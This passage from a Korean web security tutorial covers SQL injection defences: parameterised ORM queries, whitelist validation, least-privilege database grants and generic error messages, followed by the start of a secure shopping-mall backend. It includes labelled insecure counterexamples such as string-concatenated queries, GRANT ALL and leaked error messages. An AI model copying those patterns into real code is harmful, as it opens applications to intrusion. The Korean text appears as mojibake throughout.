    })

# โœ… ์•ˆ์ „ํ•œ ๊ฒ€์ƒ‰
def search_products(request):
    keyword = request.GET.get('q', '')
    category = request.GET.get('category', '')
    min_price = request.GET.get('min_price', 0)
    
    products = Product.objects.filter(
        name__icontains=keyword,
        category=category,
        price__gte=min_price
    )
    
    return JsonResponse({
        'products': list(products.values())
    })

# โœ… ์•ˆ์ „ํ•œ ์ƒ์„ฑ
def create_product(request):
    product = Product.objects.create(
        name=request.POST['name'],
        price=request.POST['price'],
        category=request.POST['category'],
        description=request.POST['description']
    )
    
    return JsonResponse({'id': product.id})

# โœ… ๋ณต์žกํ•œ ์ฟผ๋ฆฌ๋„ ์•ˆ์ „
def complex_search(request):
    from django.db.models import Q
    
    keyword = request.GET.get('q', '')
    
    products = Product.objects.filter(
        Q(name__icontains=keyword) | Q(description__icontains=keyword)
    ).exclude(
        price__lt=1000
    ).order_by('-price')
    
    return JsonResponse({
        'products': list(products.values())
    })
TypeORM (TypeScript)
import { Entity, PrimaryGeneratedColumn, Column, Repository } from 'typeorm';
import { AppDataSource } from './data-source';

@Entity()
class Product {
  @PrimaryGeneratedColumn()
  id: number;

  @Column()
  name: string;

  @Column('decimal', { precision: 10, scale: 2 })
  price: number;

  @Column()
  category: string;

  @Column('text')
  description: string;
}

const productRepository: Repository<Product> = AppDataSource.getRepository(Product);

// โœ… ์•ˆ์ „ํ•œ ์กฐํšŒ
app.get('/product/:id', async (req, res) => {
  const product = await productRepository.findOne({
    where: { id: parseInt(req.params.id) }
  });
  res.json(product);
});

// โœ… ์•ˆ์ „ํ•œ ๊ฒ€์ƒ‰ (Query Builder ์‚ฌ์šฉ)
app.get('/search', async (req, res) => {
  const { keyword, category, minPrice } = req.query;
  
  const products = await productRepository
    .createQueryBuilder('product')
    .where('product.name LIKE :keyword', { keyword: `%${keyword}%` })
    .andWhere('product.category = :category', { category })
    .andWhere('product.price >= :minPrice', { minPrice })
    .getMany();
  
  res.json(products);
});

// โœ… ํŠธ๋žœ์žญ์…˜๋„ ์•ˆ์ „ํ•˜๊ฒŒ
app.post('/order', async (req, res) => {
  await AppDataSource.transaction(async (manager) => {
    const product = await manager.findOne(Product, {
      where: { id: req.body.productId }
    });
    
    // ์žฌ๊ณ  ํ™•์ธ ๋ฐ ์ฃผ๋ฌธ ์ฒ˜๋ฆฌ
    // ...
  });
});
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 3: ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹

Prepared Statement๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ(๋™์  ํ…Œ์ด๋ธ”๋ช…, ์ปฌ๋Ÿผ๋ช… ๋“ฑ)์—๋Š”
์ฒ ์ €ํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ๊ณผ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ด!

์ž…๋ ฅ ๊ฒ€์ฆ ์˜ˆ์‹œ
// โœ… ์ˆซ์ž ๊ฒ€์ฆ
function validateProductId(id) {
  const numId = parseInt(id);
  if (isNaN(numId) || numId <= 0) {
    throw new Error('Invalid product ID');
  }
  return numId;
}

app.get('/product/:id', async (req, res) => {
  try {
    const productId = validateProductId(req.params.id);
    const [rows] = await pool.query('SELECT * FROM products WHERE id = ?', [productId]);
    res.json(rows);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

// โœ… ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹ (์ •๋ ฌ ์ปฌ๋Ÿผ)
const ALLOWED_SORT_COLUMNS = ['name', 'price', 'created_at'];
const ALLOWED_SORT_ORDERS = ['ASC', 'DESC'];

app.get('/products', async (req, res) => {
  const sortBy = req.query.sort || 'created_at';
  const order = req.query.order || 'DESC';
  
  // ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๊ฒ€์ฆ
  if (!ALLOWED_SORT_COLUMNS.includes(sortBy)) {
    return res.status(400).json({ error: 'Invalid sort column' });
  }
  
  if (!ALLOWED_SORT_ORDERS.includes(order.toUpperCase())) {
    return res.status(400).json({ error: 'Invalid sort order' });
  }
  
  // ์•ˆ์ „ํ•˜๊ฒŒ ์ฟผ๋ฆฌ ์‹คํ–‰
  const query = `SELECT * FROM products ORDER BY ${sortBy} ${order}`;
  const [rows] = await pool.query(query);
  res.json(rows);
});

// โœ… ์ •๊ทœ์‹์„ ์ด์šฉํ•œ ๊ฒ€์ฆ
function validateEmail(email) {
  const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
  if (!emailRegex.test(email)) {
    throw new Error('Invalid email format');
  }
  return email;
}

function validateUsername(username) {
  // ์˜๋ฌธ, ์ˆซ์ž, ์–ธ๋”์Šค์ฝ”์–ด๋งŒ ํ—ˆ์šฉ (3-20์ž)
  const usernameRegex = /^[a-zA-Z0-9_]{3,20}$/;
  if (!usernameRegex.test(username)) {
    throw new Error('Invalid username format');
  }
  return username;
}

// โœ… ๊ธธ์ด ์ œํ•œ
function validateInput(input, maxLength = 100) {
  if (typeof input !== 'string') {
    throw new Error('Input must be a string');
  }
  
  if (input.length > maxLength) {
    throw new Error(`Input too long (max ${maxLength} characters)`);
  }
  
  return input;
}
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 4: ์ตœ์†Œ ๊ถŒํ•œ ์›์น™ (Principle of Least Privilege)

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‚ฌ์šฉ์ž ๊ณ„์ •์— ํ•„์š”ํ•œ ์ตœ์†Œํ•œ์˜ ๊ถŒํ•œ๋งŒ ๋ถ€์—ฌํ•ด์•ผ ํ•ด!
๋งŒ์•ฝ SQL Injection ๊ณต๊ฒฉ์ด ์„ฑ๊ณตํ•˜๋”๋ผ๋„ ํ”ผํ•ด๋ฅผ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ์–ด. ๐Ÿ›ก๏ธ

MySQL ๊ถŒํ•œ ์„ค์ • ์˜ˆ์‹œ
-- โŒ ๋‚˜์œ ์˜ˆ: ๋ชจ๋“  ๊ถŒํ•œ ๋ถ€์—ฌ
GRANT ALL PRIVILEGES ON shop.* TO 'webapp'@'localhost';

-- โœ… ์ข‹์€ ์˜ˆ: ํ•„์š”ํ•œ ๊ถŒํ•œ๋งŒ ๋ถ€์—ฌ
-- ์ฝ๊ธฐ ์ „์šฉ ๊ณ„์ •
CREATE USER 'webapp_read'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON shop.products TO 'webapp_read'@'localhost';
GRANT SELECT ON shop.categories TO 'webapp_read'@'localhost';

-- ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ๊ณ„์ • (ํŠน์ • ํ…Œ์ด๋ธ”๋งŒ)
CREATE USER 'webapp_write'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON shop.orders TO 'webapp_write'@'localhost';
GRANT SELECT, INSERT ON shop.order_items TO 'webapp_write'@'localhost';

-- โŒ DROP, DELETE ๊ถŒํ•œ์€ ์ ˆ๋Œ€ ๋ถ€์—ฌํ•˜์ง€ ์•Š๊ธฐ!
-- โŒ FILE ๊ถŒํ•œ๋„ ๋ถ€์—ฌํ•˜์ง€ ์•Š๊ธฐ! (ํŒŒ์ผ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•ด์ง)

-- ๊ถŒํ•œ ์ ์šฉ
FLUSH PRIVILEGES;
PostgreSQL ๊ถŒํ•œ ์„ค์ • ์˜ˆ์‹œ
-- ์ฝ๊ธฐ ์ „์šฉ ์‚ฌ์šฉ์ž
CREATE USER webapp_read WITH PASSWORD 'password';
GRANT CONNECT ON DATABASE shop TO webapp_read;
GRANT USAGE ON SCHEMA public TO webapp_read;
GRANT SELECT ON products, categories TO webapp_read;

-- ์ œํ•œ๋œ ์“ฐ๊ธฐ ๊ถŒํ•œ
CREATE USER webapp_write WITH PASSWORD 'password';
GRANT CONNECT ON DATABASE shop TO webapp_write;
GRANT USAGE ON SCHEMA public TO webapp_write;
GRANT SELECT, INSERT, UPDATE ON orders, order_items TO webapp_write;

-- ์‹œํ€€์Šค ๊ถŒํ•œ๋„ ํ•„์š”
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO webapp_write;
๐Ÿ’ก ๊ถŒํ•œ ์„ค์ • ์ฒดํฌ๋ฆฌ์ŠคํŠธ

โœ”๏ธ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ ˆ๋Œ€ root/admin ๊ณ„์ • ์‚ฌ์šฉ ๊ธˆ์ง€
โœ”๏ธ DROP, TRUNCATE ๊ถŒํ•œ ๋ถ€์—ฌ ๊ธˆ์ง€
โœ”๏ธ FILE ๊ถŒํ•œ ๋ถ€์—ฌ ๊ธˆ์ง€
โœ”๏ธ ์ฝ๊ธฐ ์ „์šฉ ์ž‘์—…์€ ๋ณ„๋„ ๊ณ„์ • ์‚ฌ์šฉ
โœ”๏ธ ๊ฐ ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค๋งˆ๋‹ค ๋ณ„๋„ ๊ณ„์ • ์‚ฌ์šฉ
โœ”๏ธ ์ •๊ธฐ์ ์œผ๋กœ ๊ถŒํ•œ ๊ฐ์‚ฌ
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 5: ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ๊ด€๋ฆฌ

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ๊ทธ๋Œ€๋กœ ๋…ธ์ถœํ•˜๋ฉด ๊ณต๊ฒฉ์ž์—๊ฒŒ ์œ ์šฉํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๊ฒŒ ๋ผ!
ํ•ญ์ƒ ์ผ๋ฐ˜์ ์ธ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋งŒ ํ‘œ์‹œํ•˜๊ณ , ์ƒ์„ธ ๋‚ด์šฉ์€ ๋กœ๊ทธ์—๋งŒ ๊ธฐ๋กํ•ด์•ผ ํ•ด.

์•ˆ์ „ํ•œ ์—๋Ÿฌ ์ฒ˜๋ฆฌ
const winston = require('winston');

// ๋กœ๊ฑฐ ์„ค์ •
const logger = winston.createLogger({
  level: 'error',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'error.log' })
  ]
});

// โŒ ๋‚˜์œ ์˜ˆ: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—๋Ÿฌ ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ
app.get('/product/:id', async (req, res) => {
  try {
    const [rows] = await pool.query('SELECT * FROM products WHERE id = ?', [req.params.id]);
    res.json(rows);
  } catch (error) {
    res.status(500).json({ error: error.message });  // ์œ„ํ—˜!
  }
});

// โœ… ์ข‹์€ ์˜ˆ: ์ผ๋ฐ˜์ ์ธ ๋ฉ”์‹œ์ง€๋งŒ ํ‘œ์‹œ
app.get('/product/:id', async (req, res) => {
  try {
    const productId = validateProductId(req.params.id);
    const [rows] = await pool.query('SELECT * FROM products WHERE id = ?', [productId]);
    
    if (rows.length === 0) {
      return res.status(404).json({ error: '์ƒํ’ˆ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
    }
    
    res.json(rows[0]);
  } catch (error) {
    // ์ƒ์„ธ ์—๋Ÿฌ๋Š” ๋กœ๊ทธ์—๋งŒ ๊ธฐ๋ก
    logger.error('Database error', {
      error: error.message,
      stack: error.stack,
      query: 'SELECT product',
      params: req.params
    });
    
    // ์‚ฌ์šฉ์ž์—๊ฒŒ๋Š” ์ผ๋ฐ˜์ ์ธ ๋ฉ”์‹œ์ง€๋งŒ
    res.status(500).json({ 
      error: '์ผ์‹œ์ ์ธ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. ์ž ์‹œ ํ›„ ๋‹ค์‹œ ์‹œ๋„ํ•ด์ฃผ์„ธ์š”.' 
    });
  }
});

// โœ… ํ™˜๊ฒฝ๋ณ„ ์—๋Ÿฌ ์ฒ˜๋ฆฌ
const isDevelopment = process.env.NODE_ENV === 'development';

app.use((error, req, res, next) => {
  logger.error('Unhandled error', {
    error: error.message,
    stack: error.stack,
    url: req.url,
    method: req.method
  });
  
  if (isDevelopment) {
    // ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ๋Š” ์ƒ์„ธ ์—๋Ÿฌ ํ‘œ์‹œ
    res.status(500).json({
      error: error.message,
      stack: error.stack
    });
  } else {
    // ํ”„๋กœ๋•์…˜์—์„œ๋Š” ์ผ๋ฐ˜ ๋ฉ”์‹œ์ง€๋งŒ
    res.status(500).json({
      error: '์„œ๋ฒ„ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค'
    });
  }
});
๐Ÿ’ก ์‹ค๋ฌด ํŒ: SQL Injection ๋ฐฉ์–ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โœ”๏ธ ๋ชจ๋“  ์ฟผ๋ฆฌ์— Prepared Statement ์‚ฌ์šฉ
  • โœ”๏ธ ORM ์‚ฌ์šฉ ์‹œ์—๋„ raw query๋Š” ์ตœ์†Œํ™”
  • โœ”๏ธ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์€ ํ•ญ์ƒ ๊ฒ€์ฆ
  • โœ”๏ธ ๋™์  ์ฟผ๋ฆฌ๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ
  • โœ”๏ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ณ„์ •์€ ์ตœ์†Œ ๊ถŒํ•œ๋งŒ ๋ถ€์—ฌ
  • โœ”๏ธ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ๋งŒ ํ‘œ์‹œ
  • โœ”๏ธ ์ •๊ธฐ์ ์ธ ๋ณด์•ˆ ์Šค์บ” ์‹ค์‹œ
  • โœ”๏ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ ‘๊ทผ ๋กœ๊ทธ ๋ชจ๋‹ˆํ„ฐ๋ง
  • โœ”๏ธ WAF(Web Application Firewall) ์‚ฌ์šฉ ๊ณ ๋ ค
SQL Injection ๋ฐฉ์–ด ์ „๋žต โœ… ์•ˆ์ „ํ•œ ์ฝ”๋“œ Prepared Statement ์‚ฌ์šฉ query(sql, [param1, param2]) ORM ํ”„๋ ˆ์ž„์›Œํฌ ํ™œ์šฉ Model.findOne({where: {id}}) โŒ ์œ„ํ—˜ํ•œ ์ฝ”๋“œ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ ๋ฐฉ์‹ query("...WHERE id=" + id) ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด ์‚ฌ์šฉ query(`...WHERE id=${id}`) ๐Ÿ”’ ์ž…๋ ฅ ๊ฒ€์ฆ ํƒ€์ž… ์ฒดํฌ ๊ธธ์ด ์ œํ•œ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๐Ÿ›ก๏ธ ์ตœ์†Œ ๊ถŒํ•œ ์ฝ๊ธฐ ์ „์šฉ ์ œํ•œ๋œ ์“ฐ๊ธฐ DROP ๊ธˆ์ง€ ๐Ÿ“Š ๋ชจ๋‹ˆํ„ฐ๋ง ์ฟผ๋ฆฌ ๋กœ๊น… ์ด์ƒ ํƒ์ง€ ์•Œ๋ฆผ ์„ค์ • ๋‹ค์ธต ๋ฐฉ์–ด๋กœ ์™„๋ฒฝํ•˜๊ฒŒ ๋ณดํ˜ธํ•˜์„ธ์š”!

๐Ÿ”ง ํ†ตํ•ฉ ๋ณด์•ˆ ๊ตฌํ˜„ - ์‹ค์ „ ์‡ผํ•‘๋ชฐ ์˜ˆ์ œ

๐Ÿ“Œ ์‹ค์ œ ์‡ผํ•‘๋ชฐ์— ์ ์šฉํ•˜๊ธฐ

์ง€๊ธˆ๊นŒ์ง€ ๋ฐฐ์šด ๋‚ด์šฉ์„ ์‹ค์ œ ์‡ผํ•‘๋ชฐ์— ์–ด๋–ป๊ฒŒ ์ ์šฉํ•˜๋Š”์ง€ ์ข…ํ•ฉ์ ์œผ๋กœ ์•Œ์•„๋ณผ๊ฒŒ!
CSRF, XSS, SQL Injection์„ ๋ชจ๋‘ ๋ฐฉ์–ดํ•˜๋Š” ์•ˆ์ „ํ•œ ์‡ผํ•‘๋ชฐ ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด๋ณด์ž. ๐Ÿ’ช

๐Ÿ›’ ์•ˆ์ „ํ•œ ์‡ผํ•‘๋ชฐ ๊ตฌ์กฐ

ํ”„๋กœ์ ํŠธ ๊ตฌ์กฐ
shopping-mall/
โ”œโ”€โ”€ server/
โ”‚   โ”œโ”€โ”€ config/
โ”‚   โ”‚   โ”œโ”€โ”€ database.js      # DB ์—ฐ๊ฒฐ ์„ค์ •
โ”‚   โ”‚   โ””โ”€โ”€ security.js      # ๋ณด์•ˆ ์„ค์ •
โ”‚   โ”œโ”€โ”€ middleware/
โ”‚   โ”‚   โ”œโ”€โ”€ auth.js          # ์ธ์ฆ ๋ฏธ๋“ค์›จ์–ด
โ”‚   โ”‚   โ”œโ”€โ”€ csrf.js          # CSRF ๋ณดํ˜ธ
โ”‚   โ”‚   โ”œโ”€โ”€ validation.js    # ์ž…๋ ฅ ๊ฒ€์ฆ
โ”‚   โ”‚   โ””โ”€โ”€ sanitize.js      # XSS ๋ฐฉ์–ด
โ”‚   โ”œโ”€โ”€ models/
โ”‚   โ”‚   โ”œโ”€โ”€ User.js
โ”‚   โ”‚   โ”œโ”€โ”€ Product.js
โ”‚   โ”‚   โ””โ”€โ”€ Order.js
โ”‚   โ”œโ”€โ”€ routes/
โ”‚   โ”‚   โ”œโ”€โ”€ auth.js
โ”‚   โ”‚   โ”œโ”€โ”€ products.js
โ”‚   โ”‚   โ””โ”€โ”€ orders.js
โ”‚   โ””โ”€โ”€ app.js
โ””โ”€โ”€ client/
    โ”œโ”€โ”€ public/
    โ””โ”€โ”€ src/
โœ… 1๋‹จ๊ณ„: ๋ณด์•ˆ ์„ค์ • ๋ฐ ๋ฏธ๋“ค์›จ์–ด

config/security.js
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');

// ๋ณด์•ˆ ํ—ค๋” ์„ค์ •
const securityHeaders = helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'nonce-{random}'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      mediaSrc: ["'self'"],
      frameSrc: ["'none'"]
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  }
});

// Rate Limiting (DDoS ๋ฐฉ์–ด)
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15๋ถ„
  max: 100, // ์ตœ๋Œ€ 100๊ฐœ ์š”์ฒญ
  message: '๋„ˆ๋ฌด ๋งŽ์€ ์š”์ฒญ์ด ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. ์ž ์‹œ ํ›„ ๋‹ค์‹œ ์‹œ๋„ํ•ด์ฃผ์„ธ์š”.',
  standardHeaders: true,
  legacyHeaders: false
});

// ๋กœ๊ทธ์ธ Rate Limiting (๋” ์—„๊ฒฉํ•˜๊ฒŒ)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5, // 15๋ถ„์— 5๋ฒˆ๋งŒ
  skipSuccessfulRequests: true,
  message: '๋กœ๊ทธ์ธ ์‹œ๋„ ํšŸ์ˆ˜๋ฅผ ์ดˆ๊ณผํ–ˆ์Šต๋‹ˆ๋‹ค. 15๋ถ„ ํ›„ ๋‹ค์‹œ ์‹œ๋„ํ•ด์ฃผ์„ธ์š”.'
});

module.exports = {
  securityHeaders,
  limiter,
  loginLimiter
};
middleware/csrf.js
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

// CSRF ๋ณดํ˜ธ ๋ฏธ๋“ค์›จ์–ด
const csrfProtection = csrf({
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict'
  }
});

// CSRF ํ† ํฐ ์ƒ์„ฑ ๋ฏธ๋“ค์›จ์–ด
const generateToken = (req, res, next) => {
  res.locals.csrfToken = req.csrfToken();
  next();
};

// CSRF ์—๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ
const csrfErrorHandler = (err, req, res, next) => {
  if (err.code === 'EBADCSRFTOKEN') {
    return res.status(403).json({
      error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์š”์ฒญ์ž…๋‹ˆ๋‹ค. ํŽ˜์ด์ง€๋ฅผ ์ƒˆ๋กœ๊ณ ์นจํ•ด์ฃผ์„ธ์š”.'
    });
  }
  next(err);
};

module.exports = {
  cookieParser,
  csrfProtection,
  generateToken,
  csrfErrorHandler
};
middleware/sanitize.js
const sanitizeHtml = require('sanitize-html');
const validator = require('validator');

// XSS ๋ฐฉ์–ด๋ฅผ ์œ„ํ•œ ์ž…๋ ฅ ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜
const sanitizeInput = (req, res, next) => {
  // Body ํŒŒ๋ผ๋ฏธํ„ฐ ์ƒˆ๋‹ˆํƒ€์ด์ฆˆ
  if (req.body) {
    Object.keys(req.body).forEach(key => {
      if (typeof req.body[key] === 'string') {
        // HTML ํƒœ๊ทธ ์ œ๊ฑฐ
        req.body[key] = sanitizeHtml(req.body[key], {
          allowedTags: [],
          allowedAttributes: {}
        });
        
        // ์ถ”๊ฐ€ ๊ฒ€์ฆ
        req.body[key] = validator.escape(req.body[key]);
      }
    });
  }
  
  // Query ํŒŒ๋ผ๋ฏธํ„ฐ ์ƒˆ๋‹ˆํƒ€์ด์ฆˆ
  if (req.query) {
    Object.keys(req.query).forEach(key => {
      if (typeof req.query[key] === 'string') {
        req.query[key] = validator.escape(req.query[key]);
      }
    });
  }
  
  next();
};

// ํŠน์ • ํ•„๋“œ๋งŒ HTML ํ—ˆ์šฉ (์ƒํ’ˆ ์„ค๋ช… ๋“ฑ)
const sanitizeHtmlContent = (content) => {
  return sanitizeHtml(content, {
    allowedTags: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
    allowedAttributes: {},
    disallowedTagsMode: 'escape'
  });
};

module.exports = {
  sanitizeInput,
  sanitizeHtmlContent
};
middleware/validation.js
const { body, param, query, validationResult } = require('express-validator');

// ๊ฒ€์ฆ ์—๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ
const handleValidationErrors = (req, res, next) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ 
      errors: errors.array().map(err => ({
        field: err.param,
        message: err.msg
      }))
    });
  }
  next();
};

// ์ƒํ’ˆ ๊ฒ€์ฆ ๊ทœ์น™
const productValidation = [
  body('name')
    .trim()
    .isLength({ min: 2, max: 100 })
    .withMessage('์ƒํ’ˆ๋ช…์€ 2-100์ž ์‚ฌ์ด์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'),
  body('price')
    .isFloat({ min: 0 })
    .withMessage('๊ฐ€๊ฒฉ์€ 0 ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค'),
  body('category')
    .isIn(['electronics', 'fashion', 'food', 'books', 'etc'])
    .withMessage('์œ ํšจํ•˜์ง€ ์•Š์€ ์นดํ…Œ๊ณ ๋ฆฌ์ž…๋‹ˆ๋‹ค'),
  body('description')
    .trim()
    .isLength({ max: 1000 })
    .withMessage('์„ค๋ช…์€ 1000์ž๋ฅผ ์ดˆ๊ณผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค'),
  handleValidationErrors
];

// ์ฃผ๋ฌธ ๊ฒ€์ฆ ๊ทœ์น™
const orderValidation = [
  body('productId')
    .isInt({ min: 1 })
    .withMessage('์œ ํšจํ•˜์ง€ ์•Š์€ ์ƒํ’ˆ ID์ž…๋‹ˆ๋‹ค'),
  body('quantity')
    .isInt({ min: 1, max: 100 })
    .withMessage('์ˆ˜๋Ÿ‰์€ 1-100 ์‚ฌ์ด์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'),
  body('shippingAddress')
    .trim()
    .isLength({ min: 10, max: 200 })
    .withMessage('๋ฐฐ์†ก ์ฃผ์†Œ๋ฅผ ์ •ํ™•ํžˆ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”'),
  handleValidationErrors
];

// ๋กœ๊ทธ์ธ ๊ฒ€์ฆ ๊ทœ์น™
const loginValidation = [
  body('email')
    .isEmail()
    .normalizeEmail()
    .withMessage('์œ ํšจํ•œ ์ด๋ฉ”์ผ์„ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”'),
  body('password')
    .isLength({ min: 8 })
    .withMessage('๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ตœ์†Œ 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค'),
  handleValidationErrors
];

// ๊ฒ€์ƒ‰ ๊ฒ€์ฆ ๊ทœ์น™
const searchValidation = [
  query('q')
    .trim()
    .isLength({ min: 1, max: 50 })
    .withMessage('๊ฒ€์ƒ‰์–ด๋Š” 1-50์ž ์‚ฌ์ด์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'),
  query('page')
    .optional()
    .isInt({ min: 1 })
    .withMessage('ํŽ˜์ด์ง€ ๋ฒˆํ˜ธ๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค'),
  handleValidationErrors
];

module.exports = {
  productValidation,
  orderValidation,
  loginValidation,
  searchValidation
};
โœ… 2๋‹จ๊ณ„: ์•ˆ์ „ํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ชจ๋ธ

models/User.js (Sequelize)
const { DataTypes } = require('sequelize');
const bcrypt = require('bcrypt');
const sequelize = require('../config/database');

const User = sequelize.define('User', {
  id: {
    type: DataTypes.INTEGER,
    primaryKey: true,
    autoIncrement: true
  },
  email: {
    type: DataTypes.STRING,
    allowNull: false,
    unique: true,
    validate: {
      isEmail: true
    }
  },
  password: {
    type: DataTypes.STRING,
    allowNull: false
  },
  name: {
    type: DataTypes.STRING,
    allowNull: false,
    validate: {
      len: [2, 50]
    }
  },
  role: {
    type: DataTypes.ENUM('user', 'admin'),
    defaultValue: 'user'
  }
}, {
  hooks: {
    // ๋น„๋ฐ€๋ฒˆํ˜ธ ์ €์žฅ ์ „ ํ•ด์‹ฑ
    beforeCreate: async (user) => {
      if (user.password) {
        const salt = await bcrypt.genSalt(10);
        user.password = await bcrypt.hash(user.password, salt);
      }
    },
    beforeUpdate: async (user) => {
      if (user.changed('password')) {
        const salt = await bcrypt.genSalt(10);
        user.password = await bcrypt.hash(user.password, salt);
      }
    }
  }
});

// ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ ๋ฉ”์„œ๋“œ
User.prototype.validatePassword = async function(password) {
  return await bcrypt.compare(password, this.password);
};

// ๋ฏผ๊ฐํ•œ ์ •๋ณด ์ œ์™ธํ•˜๊ณ  ๋ฐ˜ํ™˜
User.prototype.toJSON = function() {
  const values = Object.assign({}, this.get());
  delete values.password;
  return values;
};

module.exports = User;
models/Product.js
const { DataTypes } = require('sequelize');
const sequelize = require('../config/database');

const Product = sequelize.define('Product', {
  id: {
    type: DataTypes.INTEGER,
    primaryKey: true,
    autoIncrement: true
  },
  name: {
    type: DataTypes.STRING,
    allowNull: false,
    validate: {
      len: [2, 100]
    }
  },
  price: {
    type: DataTypes.DECIMAL(10, 2),
    allowNull: false,
    validate: {
      min: 0
    }
  },
  category: {
    type: DataTypes.STRING,
    allowNull: false
  },
  description: {
    type: DataTypes.TEXT,
    validate: {
      len: [0, 1000]
    }
  },
  stock: {
    type: DataTypes.INTEGER,
    defaultValue: 0,
    validate: {
      min: 0
    }
  },
  imageUrl: {
    type: DataTypes.STRING
  }
});

module.exports = Product;
models/Order.js
const { DataTypes } = require('sequelize');
const sequelize = require('../config/database');

const Order = sequelize.define('Order', {
  id: {
    type: DataTypes.INTEGER,
    primaryKey: true,
    autoIncrement: true
  },
  userId: {
    type: DataTypes.INTEGER,
    allowNull: false,
    references: {
      model: 'Users',
      key: 'id'
    }
  },
  productId: {
    type: DataTypes.INTEGER,
    allowNull: false,
    references: {
      model: 'Products',
      key: 'id'
    }
  },
  quantity: {
    type: DataTypes.INTEGER,
    allowNull: false,
    validate: {
      min: 1
    }
  },
  totalPrice: {
    type: DataTypes.DECIMAL(10, 2),
    allowNull: false
  },
  shippingAddress: {
    type: DataTypes.STRING,
    allowNull: false
  },
  status: {
    type: DataTypes.ENUM('pending', 'paid', 'shipped', 'delivered', 'cancelled'),
    defaultValue: 'pending'
  }
});

module.exports = Order;
โœ… 3๋‹จ๊ณ„: ์•ˆ์ „ํ•œ ๋ผ์šฐํŠธ ๊ตฌํ˜„

routes/products.js
const express = require('express');
const router = express.Router();
const Product = require('../models/Product');
const { sanitizeHtmlContent } = require('../middleware/sanitize');
const { productValidation, searchValidation } = require('../middleware/validation');
